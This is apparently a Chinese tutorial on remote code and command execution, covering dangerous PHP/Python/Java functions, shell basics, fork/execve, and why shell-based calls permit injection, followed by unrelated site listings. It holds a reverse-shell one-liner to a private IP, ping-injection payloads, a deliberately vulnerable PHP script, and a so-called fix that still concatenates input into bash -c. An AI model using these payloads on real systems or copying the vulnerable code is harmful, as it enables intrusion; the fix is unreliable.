rce代码层面

目录

  • RCE的分类
    • Remote Code Execute 远程代码执⾏
      • php
    • Remote Command Execte 远程命令执⾏
      • php
  • shell的相关知识
    • 管道
    • 重定向
    • fd
    • 反弹shell
  • linux进程的创建
  • c/php/python下的system()/popen()函数
  • python的subprocess.call函数
  • java的Runtime.getRuntime().exec和ProcessBuilder()
  • 命令注⼊到底在注⼊什么
    • php
    • python
    • system类
    • execve类

RCE的分类

Remote Code Execute 远程代码执⾏

因为需求设计,程序代码⾥⾯有时候也会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,也就造成了
远程代码执⾏漏洞。

php

php中可以进⾏远程代码执⾏的函数有很多,也常常被⼀些webshell来做免杀利⽤。如果我们
的输⼊可以⾛到以下的函数作为参数,那么就有可能有远程代码执⾏。

eval() //把字符串作为PHP代码执⾏
assert() //检查⼀个断⾔是否为 FALSE,可⽤来执⾏代码
preg_replace() //执⾏⼀个正则表达式的搜索和替换
call_user_func() //把第⼀个参数作为回调函数调⽤
call_user_func_array() //调⽤回调函数,并把⼀个数组参数作为回调函数的参数
array_map() //为数组的每个元素应⽤回调函数
$a($b) //动态函数

python
python中能进⾏代码执⾏的函数也不多。如果我们的输⼊可以⾛到以下的函数作为参数,那
么就有可能有远程代码执⾏。

exec(string) # Python代码的动态执⾏
eval(string) # 返回表达式或代码对象的值
execfile(string) # 从⼀个⽂件中读取和执⾏Python脚本

java
java中能够直接执⾏代码的函数基本没有,都是调⽤反序列化来动态执⾏字符串。

Remote Command Execte 远程命令执⾏

⼀般出现这种漏洞,是因为应⽤系统从设计上需要给⽤户提供指定的远程命令操作的接⼝。⽐
如我们常⻅的路由器、防⽕墙、⼊侵检测(硬件设备、⼯业交付)等设备的web管理界⾯上。
仅当Web应⽤程序代码包含操作系统调⽤(外壳程序、shell)并且调⽤中使⽤了⽤户输⼊时,
才可能进⾏OS命令注⼊攻击。它们不是特定于语⾔的,命令注⼊漏洞可能会出现在所有让你
调⽤系统外壳命令的语⾔中:C,Java,PHP,Perl,Ruby,Python等。

php

exec — 执⾏⼀个外部程序
passthru — 执⾏外部程序并且显示原始输出
proc_open — 执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。
shell_exec — 通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回
system — 执⾏外部程序,并且显示输出

python

os.system() #执⾏系统指令
os.popen() #popen()⽅法⽤于从⼀个命令打开⼀个管道
subprocess.call #执⾏由参数提供的命令
java
Runtime.getRuntime().exec()
ProcessBuilder()

shell的相关知识

管道

command1 | command2 前⼀个命令的输出作为后⼀个命令的输⼊

重定向

command1 < input.txt 将input.txt的内容读出来重定向作为command1的参数
command2 > out.txt 将command2的输出重定向到out.txt中

fd

linux下的⽂件描述符(file descriptor)是linux下⼀个重要的进程概念(本质上是⼀个索
引)。
我们知道在Linux系统中⼀切皆可以看成是⽂件,⽂件⼜可分为:普通⽂件、⽬录⽂件、链接
⽂件和设备⽂件。在操作这些所谓的⽂件的时候,我们每操作⼀次就找⼀次名字,这会耗费⼤
量的时间和效率。所以Linux中规定每⼀个⽂件对应⼀个索引,这样要操作⽂件的时候,我们
直接找到索引就可以对其进⾏操作了。⽂件描述符(file descriptor)就是内核为了⾼效管理
这些已经被打开的⽂件所创建的索引。

$$ --> linux下当前进程的pid
/proc --> linux伪⽂件系统 ---》进程相关的信息挂载在这⾥

在这里插入图片描述

反弹shell

sh -i >& /dev/tcp/192.168.101.30/12345 0>&1

在这里插入图片描述

linux进程的创建

linux区分⽤户态和内核态,⽤户态程序要进⾏所有动作、其实都是通过调⽤system call(系统调⽤syscall)向内核发起请求,最终在内核态执⾏完毕后才能得到返回。
系统调⽤跟⽤户⾃定义函数⼀样也是⼀个函数,不同的是系统调⽤运⾏在内核态,⽽⽤户⾃定义函数运⾏在⽤户态。由于某些指令(如设置时钟、关闭/打开中断和I/O操作等)只能运⾏在内核态,所以操作系统必须提供⼀种能够进⼊内核态的⽅式,系统调⽤就是这样的⼀种机制。
在这里插入图片描述
linux进程的创建⼤致是这样⼀个流程。
当执⾏命令时

bash -c whoami

其实在内核态执⾏了以下动作

bash(pid:52350) --> sys_fork
    --> bash(pid:52796) --> sys_execve --> /bin/whoami(pid:52796)

strace
执⾏命令

strace -tt -f -e trace=process python3 test.py
```txt

```python
import os

if __name__ == '__main__':
    name = '123";ping baidu.com -c 100;echo"456'
    cmd = 'echo "HELLO ' + name + '"'
    os.system(cmd)

c/php/python下的system()/popen()函数

system($input$)
执⾏ sh -c '$input'
可以转化为
bash(pid:1) --> sys_fork
 --> bash(pid:2) --> sys_execve --> /bin/whoami(pid:2)

python的subprocess.call函数

import os
import subprocess
if __name__ == '__main__':
 name = '123";ping baidu.com -c 100;echo "456'
 cmd = 'echo "HELLO ' + name + '"'
 subprocess.call(cmd, shell=True)
import os
import subprocess
if __name__ == '__main__':
 name = '123";ping baidu.com -c 100;echo "456'
 cmd = ['echo', '"HELLO ' + name + '"']
 subprocess.call(cmd, shell=False)

在这里插入图片描述

java的Runtime.getRuntime().exec和ProcessBuilder()

importjava.io.BufferedReader;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.InputStreamReader;

publicclassmain {
    publicstaticvoidmain(String[] args) {
        try{
            Stringname="123';ping baidu.com -c 3;echo '456";
            Stringcmd="echo 'HELLO "+name+"'";
            Processpro=Runtime.getRuntime().exec(cmd);
            InputStreamin=null;
            in=pro.getInputStream();
            BufferedReaderread=newBufferedReader(newInputStreamReader(in));
            Stringresult=read.readLine();
            System.out.println("INFO:"+result);
        } 
        catch (IOExceptione) {
            thrownewRuntimeException(e);
        }
    }
}

改进

public class Main {
    public static void main(String[] args) {
        try {
            String name = "123";  // 用户输入应严格验证
            String cmd = "echo 'HELLO " + name + "'";

            // 使用 ProcessBuilder 执行命令
            ProcessBuilder processBuilder = new ProcessBuilder("bash", "-c", cmd);
            Process pro = processBuilder.start();

            InputStream in = pro.getInputStream();
            BufferedReader read = new BufferedReader(new InputStreamReader(in));
            String result = read.readLine();
            System.out.println("INFO: " + result);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

命令注⼊到底在注⼊什么

php

<?php
$name = $_GET['name'];
$cmd = 'echo "Hello '.$name.'"';
var_dump("system", system($cmd)); //sh -c
echo '</br>';
var_dump("exec",exec($cmd)); //sh -c
echo '</br>';
var_dump("shell_exec",shell_exec($cmd)); //sh -c
echo '</br>';
var_dump("popen");$x = popen($cmd, 'r');var_dump($x);var_dump(fread($x,1024)); //sh -c
echo '</br>';
$a = array();
var_dump("proc_open");$x = proc_open($cmd, $a,$b); //sh -c
?>

php中⼤多数执⾏外部命令的函数,其实都是调⽤sh -c 去执⾏。

python

import os
if __name__ == '__main__':
    name = '123";ping baidu.com -c 100;echo "456'
    cmd = 'echo "HELLO ' + name + '"'
    os.system(cmd)
java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class main {
    public static void main(String[] args) {
        try {
            String name = "123';ping baidu.com -c 3;echo '456";
            String cmd = "echo 'HELLO " + name + "'";
            Process pro = Runtime.getRuntime().exec(cmd); //execve
            InputStream in = null;
            in = pro.getInputStream();
            BufferedReader read = new BufferedReader(newInputStreamReader(in));
            String result = read.readLine();
            System.out.println("INFO:"+result);
        }
        catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

system类

如果是执⾏system函数,或者类似system函数,他们都是直接⾛的fork–>execve流程(调⽤外
部sh -c),这种情况下,我们的输⼊被拼接加⼊到作为bash -c的参数,⽽bash -c是⽀持shell
语法的,所以我们能够很轻易的进⾏拼接、绕过,这种也是最常⻅的RCE攻击,简单的⼀笔。

execve类

⽐如Runtime.getRuntime().exec()和subprocess.call(cmd, shell=False)这两者,⾛的流程
是直接execve,在这种情况下,我们的输⼊只能作为固定进程的参数,那么我们就没办法⽤
shell语法了,与任何拼接都没有关系了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/912313.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

一篇文章入门docker!

文章目录 DockerUbuntu 下 docker 安装安装docker运行docker Docker的常用命令帮助命令镜像命令容器命令其他常用命令小结 分层理解一、Docker镜像的分层结构二、UnionFS与镜像分层三、镜像层的具体内容四、镜像分层的好处五、容器层与镜像层的关系 如何提交一个自己的镜像 Doc…

【大数据学习 | HBASE】habse的表结构

在使用的时候hbase就是一个普通的表&#xff0c;但是hbase是一个列式存储的表结构&#xff0c;与我们常用的mysql等关系型数据库的存储方式不同&#xff0c;mysql中的所有列的数据是按照行级别进行存储的&#xff0c;查询数据要整个一行查询出来&#xff0c;不想要的字段也需要…

泛微E9 OA与金蝶云的差旅费报销接口集成

FD001-差旅费报销申请 泛微>金蝶--498 集成案例分享 在企业日常运营中&#xff0c;差旅费报销申请的处理效率直接影响到员工满意度和财务管理的精确性。为了实现泛微OA-Http系统与金蝶云星空平台之间的数据无缝对接&#xff0c;我们设计并实施了FD001-差旅费报销申请集成方…

鸿蒙开发:ArkUI Toggle 组件

ArkUI提供了一套完整的UI开发工具集&#xff0c;帮助开发者高效完成页面的开发。它融合了语言、编译器、图形构建等关键的应用UI开发底座&#xff0c;为应用的UI开发提供了完整的基础设施&#xff0c;包括简洁的UI语法、丰富的UI功能以及实时界面预览工具等&#xff0c;可以支持…

ONLYOFFICE 文档8.2更新评测:PDF 协作编辑、性能优化及更多新功能体验

文章目录 &#x1f340;引言&#x1f340;ONLYOFFICE 产品简介&#x1f340;功能与特点&#x1f340;体验与测评ONLYOFFICE 8.2&#x1f340;邀请用户使用&#x1f340; ONLYOFFICE 项目介绍&#x1f340;总结 &#x1f340;引言 在日常办公软件的选择中&#xff0c;WPS 和微软…

Webserver(5.6)服务器压力测试

目录 webbench是linux上一款知名的优秀的web性能压力测试工具。 测试处在相同硬件上&#xff0c;不同服务的性能以及在不同硬件上同一个服务的运行状况 展示服务器的两项内容&#xff1a;每秒钟响应请求数和每秒钟传输数据量 webbench首先fork多个子进程&#xff0c;每个子进程…

数据结构:顺序表(动态顺序表)

专栏说明&#xff1a;本专栏用于数据结构复习&#xff0c;文章中出现的代码由C语言实现&#xff0c;在专栏中会涉及到部分OJ题目&#xff0c;如对你学习有所帮助&#xff0c;可以点赞鼓励一下博主喔&#x1f493; 博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;数…

【ACM出版,九大高校联合举办, IEEE Fellow支持】2024年计算机视觉与艺术研讨会(CVA 2024,11月29-12月1日)

2024年计算机视觉与艺术研讨会&#xff08;CVA 2024&#xff09; 2024 Seminar on Computer Vision and Art 基本信息 会议官网&#xff1a;www.icadi.net 2024 Seminar on Computer Vision and Artwww.icadi.net(CVA为ICADI分会&#xff0c;网站沿用主会议&#xff1b;议程、…

若依框架-添加测试类-最新

1、在【ruoyi-admin】的pom.xml下添加依赖 <!-- 单元测试--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-test</artifactId><scope>test</scope></dependency><dependency>…

用 Python 从零开始创建神经网络(二)

用 Python 从零开始创建神经网络&#xff08;二&#xff09; 引言1. Tensors, Arrays and Vectors&#xff1a;2. Dot Product and Vector Additiona. Dot Product &#xff08;点积&#xff09;b. Vector Addition &#xff08;向量加法&#xff09; 3. A Single Neuron with …

信息安全工程师(76)网络安全应急响应技术原理与应用

前言 网络安全应急响应&#xff08;Network Security Incident Response&#xff09;是针对潜在或已发生的网络安全事件而采取的网络安全措施&#xff0c;旨在降低网络安全事件所造成的损失并迅速恢复受影响的系统和服务。 一、网络安全应急响应概述 定义&#xff1a;网络安全应…

JavaScript:点击导航栏未显示完整的tab自动滚动并显示完整

提醒 本文实例使用vue开发的 一、需求场景 开发商品分类页面需求如下&#xff1a; 顶部显示商品分类导航栏&#xff0c;可左右自由滑动&#xff0c;点击左边或右边未显示完整的tab自动滚动显示完整&#xff1b;点击顶部显示商品分类导航栏tab&#xff0c;下面列表数据显示对应的…

【C++】详解RAII思想与智能指针

&#x1f308; 个人主页&#xff1a;谁在夜里看海. &#x1f525; 个人专栏&#xff1a;《C系列》《Linux系列》 ⛰️ 丢掉幻想&#xff0c;准备斗争 目录 引言 内存泄漏 内存泄漏的危害 内存泄漏的处理 一、RAII思想 二、智能指针 1.auto_ptr 实现原理 模拟实现 弊端…

力扣: 144 二叉树 -- 先序遍历

二叉树 – 先序遍历 描述&#xff1a; 给你二叉树的根节点 root &#xff0c;返回它节点值的 前序 遍历。 示例&#xff1a; 先序遍历&#xff1a;根左右 何解&#xff1f; 1、递归 : 无需多言一看就懂 2、遍历法 中序查找时&#xff0c;最先出入的节点是左子树中的最左侧二叉…

从0开始搭建一个生产级SpringBoot2.0.X项目(十)SpringBoot 集成RabbitMQ

前言 最近有个想法想整理一个内容比较完整springboot项目初始化Demo。 SpringBoot集成RabbitMQ RabbitMQ中的一些角色&#xff1a; publisher&#xff1a;生产者 consumer&#xff1a;消费者 exchange个&#xff1a;交换机&#xff0c;负责消息路由 queue&#xff1a;队列…

github高分项目 WGCLOUD - 运维实时管理工具

GitHub - tianshiyeben/wgcloud: Linux运维监控工具&#xff0c;支持系统硬件信息&#xff0c;内存&#xff0c;CPU&#xff0c;温度&#xff0c;磁盘空间及IO&#xff0c;硬盘smart&#xff0c;GPU&#xff0c;防火墙&#xff0c;网络流量速率等监控&#xff0c;服务接口监测&…

CDN到底是什么?

文章目录 CDN到底是什么&#xff1f;一、引言二、CDN的基本概念1、CDN的定义2、CDN的作用3、代码示例&#xff1a;配置CNAME记录 三、CDN的工作原理1、请求流程2、代码示例&#xff1a;DNS解析过程3、完整的CDN工作流程 四、总结 CDN到底是什么&#xff1f; 一、引言 在互联网…

DeFi 4.0峥嵘初现:主权金融时代的来临

近年来&#xff0c;Web3领域的创新似乎遇到了瓶颈&#xff0c;DeFi&#xff08;去中心化金融&#xff09;从热潮的巅峰逐渐进入了一个沉寂期。我们再也没有见到像DeFi Summer那样的行业兴奋&#xff0c;资本市场的动荡和Meme币的出现&#xff0c;似乎让人们忘记了曾经的区块链技…

Linux:调试器 gdb/cgdb 的使用

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、调试前的预备二. 使用&#xff08;gdb的常用命令&#xff09;三. 推荐安装cgdb总结 前言 本文主要讲解如何在Linux环境下面来对代码进行调试 一、调试前的…

知识中台赋能法律咨询服务:八大核心优势

法律咨询服务领域&#xff0c;知识中台以其独特的功能和优势&#xff0c;为行业发展注入了新的活力。以下是知识中台在法律咨询服务中展现的八大核心优势&#xff1a; 一、法律知识资源的全面整合 知识中台致力于收集、整理和整合各类法律知识资源&#xff0c;包括法律法规、…